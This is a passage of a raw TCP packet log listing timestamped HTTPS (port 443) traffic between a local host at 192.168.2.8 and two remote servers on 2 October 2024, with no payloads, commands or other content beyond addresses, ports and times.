Oct 2, 2024 05:22:12.449448109 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.449482918 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.449501991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.475220919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.475258112 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.475332022 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.475338936 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.475404024 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.487812042 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.487838984 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.487922907 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.487930059 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.487967014 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.487967014 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.511413097 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.511435032 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.511550903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.511558056 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.511607885 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.511774063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.511790037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.511841059 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.511847973 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.511882067 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.511912107 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.512173891 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.512191057 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.512267113 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.512274027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.512284040 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.512324095 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.512878895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.512895107 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.512945890 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.512953043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.512979984 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.513030052 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.513509989 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.513535976 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.513597965 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.513605118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.513622046 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.513679028 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.541766882 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.541793108 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.541918039 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.541927099 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.541970968 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.567599058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.567620993 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.567785978 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.567795038 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.567853928 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.580370903 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.580395937 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.580492973 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.580504894 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.580568075 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604049921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604077101 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604203939 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604211092 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604306936 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604422092 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604439020 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604518890 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604518890 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604526043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604572058 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604844093 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604865074 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604933023 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604943037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.604950905 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.604990005 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.605345964 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.605362892 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.605432034 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.605439901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.605475903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.605475903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.606211901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.606229067 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.606319904 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.606328011 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.606381893 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.634910107 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.634993076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.635056019 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.635062933 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.635093927 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.635129929 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.660084009 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.660106897 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.660224915 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.660238981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.660320997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.673269987 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.673300982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.673542976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.673558950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.673966885 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.696420908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.696443081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.696527004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.696542978 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.696585894 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.696857929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.696875095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697042942 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.697051048 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697098017 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.697251081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697268963 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697331905 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.697341919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697396040 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.697696924 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697719097 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697788000 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.697798967 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.697839022 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.698441029 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.698457003 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.698523045 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.698534966 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.698595047 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.727341890 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.727370024 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.727451086 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.727473021 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.727528095 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.752947092 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.752974987 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.753101110 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.753122091 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.753177881 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.765716076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.765738964 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.765815020 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.765832901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.765886068 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.790792942 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.790815115 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.790864944 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.790946960 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.790962934 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791033030 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.791033030 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.791141033 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791157007 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791225910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.791234970 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791647911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791666985 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791708946 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.791718960 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791735888 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.791956902 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.791970968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.792026997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.792036057 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.792058945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.792129993 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:12.792149067 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.792176962 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:12.811088085 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:13.097554922 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:13.097595930 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:13.097697020 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:13.098225117 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:13.098239899 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:13.556754112 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:13.556926012 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:13.560220957 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:13.560230970 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:13.560662985 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:13.561743975 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:13.607409000 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.280822039 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.331104040 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.352283955 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.352355003 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.352381945 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.352406979 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.352480888 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.352480888 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.352494001 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.352888107 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.352914095 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.353010893 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.353018045 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.353161097 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.353451014 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.357124090 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.357181072 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.357189894 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.408657074 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.410841942 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439775944 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439816952 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439846992 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439877033 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439905882 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439934015 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439965963 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.439968109 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.439968109 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.439997911 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440040112 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440062046 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440115929 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440124035 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440248966 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440279007 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440308094 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440309048 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440321922 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440361977 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440370083 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440401077 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440445900 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440453053 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440502882 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440745115 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440838099 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440867901 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440905094 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.440912962 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.440922976 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.441126108 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.486764908 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.497482061 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.531462908 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.531599998 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.531613111 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532001019 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532058001 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532066107 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532476902 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532496929 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532530069 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532562971 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532563925 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532572985 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532582998 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532603979 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532630920 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532672882 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532680035 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532680035 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532692909 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532706022 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532716990 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532743931 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532744884 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532754898 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532779932 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532809973 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532809973 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.532821894 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.532833099 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.533148050 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.533231020 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.533237934 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.533327103 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.533340931 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.533348083 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.533358097 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.533411980 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.533411980 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.533421040 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.533541918 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.534177065 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.534238100 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.534327030 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.534482956 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.602472067 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.602566957 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619529963 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619577885 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619611025 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619637012 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619653940 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619668007 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619671106 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619704008 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619715929 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619749069 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619772911 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619772911 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619781971 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619792938 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619798899 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619834900 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619856119 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619863033 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619874001 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619910955 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619935989 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619935989 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.619946957 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619959116 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.619991064 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620017052 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620017052 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620028019 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620038033 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620074034 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620076895 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620076895 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620086908 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620105982 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620125055 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620151997 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620181084 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620206118 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620206118 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620213032 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620223045 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620239973 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620251894 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620280981 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620287895 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620327950 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620328903 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620429993 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620456934 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620531082 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620531082 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.620575905 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.620992899 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.621121883 CEST	443	49705	162.159.140.237	192.168.2.8
